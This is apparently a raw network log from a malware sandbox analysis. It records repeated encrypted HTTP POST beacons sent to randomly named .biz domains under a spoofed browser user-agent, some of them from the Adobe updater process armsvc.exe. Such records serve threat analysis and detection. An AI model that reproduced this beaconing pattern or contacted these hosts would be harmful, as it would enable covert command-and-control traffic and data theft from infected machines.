Oct 31, 2024 16:04:52.052869081 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4da81c9744164a7f5049d1e5d7d1df42\|173.254.250.77\|1730387091\|1730387091\|0\|1\|0; path=/; domain=.typgfhb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.22	49231	172.234.222.138	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:50.630502939 CET	351	OUT	POST /gkfeudwyqf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:50.630526066 CET	784	OUT	Data Raw: 7d b8 3d 80 f3 d7 a3 44 04 03 00 00 75 3b a9 bd 46 67 82 75 79 f8 94 40 d3 8a f2 9f e9 96 56 16 f8 c6 5e cf dd 02 76 2c ac 1f 67 21 f8 9d 02 e3 41 db 8e 28 71 e6 8f 68 7b 14 ab 29 03 d4 a4 9f eb e5 11 2d dd 30 4e f8 66 fa 3a 6c 70 f4 bf ed e6 a1 Data Ascii: }=Du;Fguy@V^v,g!A(qh{)-0Nf:lp[N?;fJ!GB~{8P8"l\|}v;?TM34kGGCn'_sYa5diVkt?~Do:I~I7z4;+"(#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.22	49232	172.234.222.138	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:51.481055021 CET	344	OUT	POST /ned HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: fwiwk.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:51.481084108 CET	784	OUT	Data Raw: 72 dd 25 9e 72 ac 8f 21 04 03 00 00 37 45 25 80 be d8 5a f7 55 65 94 97 51 f0 33 35 e0 e7 93 a7 95 7f fa a7 7c 87 d7 37 60 e2 1f 15 d3 b1 2f c8 00 7b e9 2a df e0 84 da 8c 0a af 6a 3c 86 6c 19 cb 54 e0 a7 5d a6 6c fe 6b 04 3b 9a 23 ef ac 89 77 2b Data Ascii: r%r!7E%ZUeQ35\|7`/{*j<lT]lk;#w+XRVcn$YP\{/:iZ(>\gs(Sv"`v]YN, )!:bi:3$50u4Z}.&xBYfs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.22	49235	34.211.97.45	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:52.072634935 CET	355	OUT	POST /wwhurxddcoofvg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: esuzf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:52.072664976 CET	850	OUT	Data Raw: 8d 52 47 45 a9 97 e9 50 46 03 00 00 8a 42 87 04 13 78 ec 92 ca 43 74 7b ca 60 02 1a 4a b6 f8 b8 7c a9 d6 ee de 46 5d c4 8b 2d f8 e8 5b ba 4b 33 7b ae dc b2 0a f1 1e 00 b0 41 4d b4 0a 67 dd 44 70 27 a1 e0 0a 32 c7 21 d6 74 7e be cd 26 13 fb 0c db Data Ascii: RGEPFBxCt{`J\|F]-[K3{AMgDp'2!t~&$<Wb9yLz7e =lwz`VEyjVL@txF\u/ouy${%kawJ?>BF?AY{",HdF]Y f(?hmc_-s@(I6
Oct 31, 2024 16:04:52.928740978 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=f7191132e14cfe38ddcd65f55411fc7c\|173.254.250.77\|1730387092\|1730387092\|0\|1\|0; path=/; domain=.esuzf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.22	49236	34.246.200.160	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:52.197065115 CET	351	OUT	POST /fwiolhgpy HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: tbjrpv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:52.197079897 CET	784	OUT	Data Raw: 98 99 8b 46 0c c6 aa 3a 04 03 00 00 48 75 58 2a 42 f2 87 f4 c5 ca 86 fc 91 17 a0 cf a3 62 e5 8f 7b 0d 24 25 3b ae d5 6e 76 8f 18 14 b4 bc e6 e9 46 90 30 9a 5a 97 44 19 c6 c4 26 0c 60 0e 53 43 ed ea a9 a1 44 c8 76 a8 d3 d5 c5 aa 75 91 b3 7e 7a d7 Data Ascii: F:HuX*Bb{$%;nvF0ZD&`SCDvu~z#CK5gB.pGC#udpF76+[yc7#,Egi2fX@>IF`UpO@iXd4HO<]=69A(d,b HkNs9l2=~
Oct 31, 2024 16:04:53.169142962 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e3e05c3114bd613d528380558574b3f7\|173.254.250.77\|1730387093\|1730387093\|0\|1\|0; path=/; domain=.tbjrpv.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.22	49239	3.94.10.34	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:52.983393908 CET	349	OUT	POST /hwmi HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gvijgjwkh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:52.983474016 CET	850	OUT	Data Raw: b3 0e ad ed 43 b1 03 69 46 03 00 00 4a e5 1f b1 a2 cc ca d0 25 8a 96 3b 10 8a bd b2 ce 08 fa 7f b3 b6 f0 26 47 e0 d5 6f d8 60 9c 9d 09 69 ab bb 87 ec 43 63 0a 08 51 6f 23 41 c8 e5 66 f1 4d 1b 43 40 9e f7 31 b3 7b 9f c4 60 22 6c a3 fc 88 eb 7d c0 Data Ascii: CiFJ%;&Go`iCcQo#AfMC@1{`"l}c1vpk6Qp=A{eHBXX91ZltTJmn"{<{azG0_%6`vLbB#A+>J_9+B~M,n#g%&`xf,4)ia&}
Oct 31, 2024 16:04:53.854968071 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=c7d5e2a9fe41ea515b2953fa29770390\|173.254.250.77\|1730387093\|1730387093\|0\|1\|0; path=/; domain=.gvijgjwkh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.22	49240	18.208.156.248	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:53.216871023 CET	349	OUT	POST /nnramlut HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: deoci.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:53.217129946 CET	784	OUT	Data Raw: 87 5d 69 8f 6e 4e e3 7a 04 03 00 00 79 52 64 dc 90 1b 64 49 d2 78 bf 61 83 4a fe 8c 0a 0a 89 c6 9d 3d 67 1b c5 66 7b 37 8f 34 12 ad f8 1c 27 0f d4 71 9d 74 03 7c 2d 6b 79 4e 63 b4 a1 32 c5 fd 19 fb b5 4d e7 22 17 9c 3e a5 a6 be b3 04 19 57 75 19 Data Ascii: ]inNzyRddIxaJ=gf{74'qt\|-kyNc2M">Wu\|'<Q6be\z9'Wis!g[1H$.LC*f[;mS7m,=2mGM?~\|zB<r{YhWAlmc$
Oct 31, 2024 16:04:53.889406919 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=4a9011c9495615201539c648792f51f6\|173.254.250.77\|1730387093\|1730387093\|0\|1\|0; path=/; domain=.deoci.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.22	49241	18.246.231.120	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:53.947887897 CET	358	OUT	POST /mxfbyuabmvikiln HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qpnczch.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:53.947947979 CET	850	OUT	Data Raw: 6e 0b 08 40 fc ce b5 9d 46 03 00 00 40 cf f5 58 c8 4c 66 33 f8 5d 46 d3 f1 1a 9f ad 81 46 6d 57 4f 77 1c 99 c9 8c d6 c1 f7 3d d7 cc 7f 2d c3 2c 05 53 3e e6 d9 6f c8 18 36 12 38 fd 80 db ce 9b 18 06 c3 04 ce 55 18 42 99 c8 57 cb 77 45 5c 39 18 23 Data Ascii: n@F@XLf3]FFmWOw=-,S>o68UBWwE\9#1"U.H*mT8L7%hY\lGgiYxv6]-CJ{Yxz,^4_tX35]{P'0wG.Uxh(} T-
Oct 31, 2024 16:04:54.810070038 CET	415	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0098da76fac455d65dbbabb495bf759c\|173.254.250.77\|1730387094\|1730387094\|0\|1\|0; path=/; domain=.qpnczch.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.22	49242	208.100.26.245	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:54.110929966 CET	359	OUT	POST /pgxrysmjckijuet HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:54.110955954 CET	784	OUT	Data Raw: de e2 89 2c 67 7d 5c 0e 04 03 00 00 7b ad 5a aa 17 33 0b 13 5f 9e 71 e2 75 87 8e c3 b6 3d 8f 69 8b f8 14 ee ea c2 07 b7 ef 1e 24 b5 84 74 af e9 30 2b 73 5d b9 a4 54 09 32 b2 c7 e7 9f 0a 9a 32 46 db 48 06 71 5d 75 ea 72 3f 82 b8 6d c9 eb 01 20 0d Data Ascii: ,g}\{Z3_qu=i$t0+s]T22FHq]ur?m cfCgg izI4yo'q[-PmPeY]\K eqz8p:oya_t+Z9m=:8P/^y(\|Y%/)]~S8uP
Oct 31, 2024 16:04:54.893500090 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:54 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:54.946593046 CET	357	OUT	POST /fcktmmwlxccab HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gytujflc.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:54.946620941 CET	784	OUT	Data Raw: 9c 10 ea eb af bf 68 11 04 03 00 00 9b ee 1b 1b 3e ec 12 a4 a9 89 ad 98 f4 3f 71 5f f1 c9 e4 3e 04 54 6a 51 8b 07 2e 1f 0b 27 74 3b ac 8b 4b 39 38 81 ea 9f d6 17 da 36 8f 25 2b 36 39 d5 4e e1 20 4b b8 63 fa 6a f9 88 ca ff 3d c9 89 f6 51 70 be 8c Data Ascii: h>?q_>TjQ.'t;K986%+69N Kcj=QpA"4baKji(=eL5`osZ2C`jO(rL<7T0Y?<.a?YzVm9u?X8=^GUdiTR:i
Oct 31, 2024 16:04:55.110750914 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:55 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:04:55.323802948 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:04:55 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:05:02.600763083 CET	346	OUT	POST /oma HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:02.600922108 CET	784	OUT	Data Raw: 52 89 6b 62 17 de c6 83 04 03 00 00 be 6d 0d 92 d6 6c 3c 34 92 5b 4e c3 6b a1 e7 e4 c4 7c c1 29 80 ab b0 91 6d 90 ef 03 d2 2d 6d 38 28 b3 e1 8b 82 71 6f 6d 36 c4 d9 9c 84 23 c7 1c 14 ba 05 49 95 fc cc 02 ab 92 e7 2d 69 db 79 bc 04 87 22 00 64 b1 Data Ascii: Rkbml<4[Nk\|)m-m8(qom6#I-iy"dvG']6dai{OZe'C;aJklAI\cB-H>6P<y^WHtCS~3qB\4=!v#,ugCDhbCVDOr7jrb
Oct 31, 2024 16:05:02.745969057 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:05:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:05:02.746406078 CET	356	OUT	POST /nddqsqyaehsvs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: yunalwv.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:05:02.746432066 CET	784	OUT	Data Raw: 1c 92 e3 02 df 4c e5 a9 04 03 00 00 0e 79 fa da 08 1c d7 bb 37 ed 42 c7 41 04 7f b9 02 fb 8f a7 ee c4 69 75 f4 56 8b ce 33 bf f6 d6 7c 23 24 d5 40 7d e5 25 3f 0c 60 ff f1 68 81 04 49 6e 20 f4 3a c2 f7 0c 2c 66 f0 78 50 f2 5e 8d 6d f2 89 85 cb 68 Data Ascii: Ly7BAiuV3\|#$@}%?`hIn :,fxP^mhipH(r=?ZMTlY&K1#G:Ta/B"\|l6X\|DZB&"GTV _`U^RwxfG2"l[a<o(V/,5JDs>
Oct 31, 2024 16:05:02.891999006 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:05:02 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
